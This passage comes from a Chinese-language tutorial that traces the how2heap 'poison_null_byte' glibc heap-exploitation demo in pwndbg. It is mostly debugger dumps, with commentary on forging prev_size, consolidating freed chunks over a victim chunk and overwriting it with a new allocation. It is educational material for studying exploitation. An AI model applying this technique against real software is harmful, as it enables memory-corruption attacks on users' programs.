02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40091d main+583
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x110 Used None None
0x603220 0x0 0xf0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x00000000000000f0 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg>
wndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x110 Used None None
0x603220 0x0 0xf0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x00000000000000f0 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603320: 0x0000000000000210 0x0000000000000110 是切割后剩余chunk大小
0x603310: 0x00000000000000f0 0x0000000000000000 之前伪造的pre_size
3.3.5 设置断点第61行并走起
接下来再去申请一块小于0xf0的堆块,这样就会继续分割b剩下的那一块(我们把这次申请的堆块填充上’B’来区分)。
pwndbg> b 61
Breakpoint 5 at 0x400a18: file poison_null_byte.c, line 61.
pwndbg> c
Continuing.
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
Breakpoint 5, main () at poison_null_byte.c:62
62 free(b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x87
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400f00 ◂— out 0x8e, al
R8 0x87
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x400a18 (main+834) ◂— mov rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400a18 <main+834> mov rax, qword ptr [rbp - 0x18]
0x400a1c <main+838> mov rdi, rax
0x400a1f <main+841> call free@plt <0x400560>
0x400a24 <main+846> mov rax, qword ptr [rbp - 0x38]
0x400a28 <main+850> mov rdi, rax
0x400a2b <main+853> call free@plt <0x400560>
0x400a30 <main+858> mov rax, qword ptr [rip + 0x201629] <0x602060>
0x400a37 <main+865> mov rcx, rax
0x400a3a <main+868> mov edx, 0x4c
0x400a3f <main+873> mov esi, 1
0x400a44 <main+878> mov edi, 0x400ff8
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
57
58 memset(b2,'B',0x80);
59 fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);
60 fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");
61
► 62 free(b1);
63 free(c);
64
65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
66 d = malloc(0x300);
67 fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400a18 main+834
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:61
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x110 Used None None
0x603220 0x0 0x90 Used None None
0x6032b0 0x0 0x60 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/30gx 0x603220
0x603220: 0x0000000000000000 0x0000000000000091
0x603230: 0x4242424242424242 0x4242424242424242
0x603240: 0x4242424242424242 0x4242424242424242
0x603250: 0x4242424242424242 0x4242424242424242
0x603260: 0x4242424242424242 0x4242424242424242
0x603270: 0x4242424242424242 0x4242424242424242
0x603280: 0x4242424242424242 0x4242424242424242
0x603290: 0x4242424242424242 0x4242424242424242
0x6032a0: 0x4242424242424242 0x4242424242424242
0x6032b0: 0x0000000000000000 0x0000000000000061
0x6032c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6032d0: 0x0000000000000000 0x0000000000000000
0x6032e0: 0x0000000000000000 0x0000000000000000
0x6032f0: 0x0000000000000000 0x0000000000000000
0x603300: 0x0000000000000000 0x0000000000000000
pwndbg>
3.3.6 设置断点第64行并走起
接下来free掉b1和c,因为c的prev_size仍然是0x210,按照这个去找的话就可以找到原本的b,现在的b1的位置,那么他们俩会合并,但是中间还有个b2呢。这里how2heap有一个注释。
Typically b2 (the victim) will be a structure with valuable pointers that we want to control
通常b2(受害者)将是一个结构,其中包含我们要控制的有价值的指针
pwndbg> b 64
Breakpoint 6 at 0x400a30: file poison_null_byte.c, line 64.
pwndbg> c
Continuing.
Breakpoint 6, main () at poison_null_byte.c:65
65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x0
RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RSI 0x0
R8 0x87
R9 0x1
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x400a30 (main+858) ◂— mov rax, qword ptr [rip + 0x201629]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400a1c <main+838> mov rdi, rax
0x400a1f <main+841> call free@plt <0x400560>
0x400a24 <main+846> mov rax, qword ptr [rbp - 0x38]
0x400a28 <main+850> mov rdi, rax
0x400a2b <main+853> call free@plt <0x400560>
► 0x400a30 <main+858> mov rax, qword ptr [rip + 0x201629] <0x602060>
0x400a37 <main+865> mov rcx, rax
0x400a3a <main+868> mov edx, 0x4c
0x400a3f <main+873> mov esi, 1
0x400a44 <main+878> mov edi, 0x400ff8
0x400a49 <main+883> call fwrite@plt <0x4005c0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
60 fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");
61
62 free(b1);
63 free(c);
64
► 65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
66 d = malloc(0x300);
67 fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
68 memset(d,'D',0x300);
69 fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400a30 main+858
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:64
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x320 Freed 0x6032b0 0x7ffff7dd1b78
0x603430 0x320 0x110 Used None None
pwndbg> c
3.3.7 设置断点第70行并走起
那么接下来的事情就是申请一块大的chunk,然后随便改写b2的内容了。
pwndbg> b 70
Breakpoint 7 at 0x400ab1: file poison_null_byte.c, line 70.
pwndbg> c
Continuing.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Breakpoint 7, main () at poison_null_byte.c:70
70 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbee0 ◂— 0x6220a89ce5b08ee7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x20c
R10 0x1f0
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe570 ◂— 0x108f7ffe168
RIP 0x400ab1 (main+987) ◂— leave
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400ab1 <main+987> leave
0x400ab2 <main+988> ret
↓
0x7ffff7a2d830 <__libc_start_main+240> mov edi, eax
0x7ffff7a2d832 <__libc_start_main+242> call exit <0x7ffff7a47030>
0x7ffff7a2d837 <__libc_start_main+247> xor edx, edx
0x7ffff7a2d839 <__libc_start_main+249> jmp __libc_start_main+57 <0x7ffff7a2d779>
0x7ffff7a2d83e <__libc_start_main+254> mov rax, qword ptr [rip + 0x3a8ecb] <0x7ffff7dd6710>
0x7ffff7a2d845 <__libc_start_main+261> ror rax, 0x11
0x7ffff7a2d849 <__libc_start_main+265> xor rax, qword ptr fs:[0x30]
0x7ffff7a2d852 <__libc_start_main+274> call rax
0x7ffff7a2d854 <__libc_start_main+276> mov rax, qword ptr [rip + 0x3a8ea5] <0x7ffff7dd6700>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c
65 fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
66 d = malloc(0x300);
67 fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
68 memset(d,'D',0x300);
69 fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
► 70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x4444444444444444 ('DDDDDDDD')
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x4444444444444444 ('DDDDDDDD')
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400ab1 main+987
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:70
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x320 Used None None
0x603430 0x320 0x110 Used None None
pwndbg> x/30gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000321
0x603120: 0x4444444444444444 0x4444444444444444
0x603130: 0x4444444444444444 0x4444444444444444
0x603140: 0x4444444444444444 0x4444444444444444
0x603150: 0x4444444444444444 0x4444444444444444
0x603160: 0x4444444444444444 0x4444444444444444
0x603170: 0x4444444444444444 0x4444444444444444
0x603180: 0x4444444444444444 0x4444444444444444
0x603190: 0x4444444444444444 0x4444444444444444
0x6031a0: 0x4444444444444444 0x4444444444444444
0x6031b0: 0x4444444444444444 0x4444444444444444
0x6031c0: 0x4444444444444444 0x4444444444444444
0x6031d0: 0x4444444444444444 0x4444444444444444
0x6031e0: 0x4444444444444444 0x4444444444444444
0x6031f0: 0x4444444444444444 0x4444444444444444
pwndbg>
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库